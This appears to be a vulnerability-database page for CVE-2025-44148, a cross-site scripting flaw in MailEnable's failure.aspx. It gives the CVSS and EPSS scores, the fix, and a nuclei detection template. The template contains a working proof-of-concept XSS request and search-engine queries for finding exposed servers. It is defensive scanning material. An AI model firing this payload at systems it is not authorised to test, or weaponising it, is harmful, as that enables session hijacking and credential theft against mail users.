HexBrain

Browse / CVEs / CVE-2025-44148

CVE-2025-44148· CWE-79

MailEnable Mail Service < v10 - Cross-Site Scripting

mediumseverity
5.4CVSS score
55.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.

Impact

Attackers can execute arbitrary JavaScript in victim browsers through the state parameter in failure.aspx, potentially leading to session hijacking and credential theft.

Fix

Upgrade to MailEnable version 10 or later that properly sanitizes user input in the failure.aspx component.

How to confirm it

Send: GET /Mondo/lang/sys/Failure.aspx?state=19753%22;}alert(document.domain);function%20test(){%22
Positive when: contains "}alert(document.domain);function test" and "Authentication Failed" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2025-44148 -u <target>

The full check
id: CVE-2025-44148

info:
  name: MailEnable Mail Service < v10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through the state parameter in failure.aspx, potentially leading to session hijacking and credential theft.
  remediation: |
    Upgrade to MailEnable version 10 or later that properly sanitizes user input in the failure.aspx component.
  reference:
    - https://github.com/barisbaydur/CVE-2025-44148
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44148
  classification:
    epss-score: 0.55317
    epss-percentile: 0.99038
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-44148
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MailEnable"
    fofa-query: title="MailEnable"
  tags: cve,cve2025,xss,mailenable,vuln

http:
  - raw:
      - |
        GET /Mondo/lang/sys/Failure.aspx?state=19753%22;}alert(document.domain);function%20test(){%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '}alert(document.domain);function test'
          - 'Authentication Failed'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from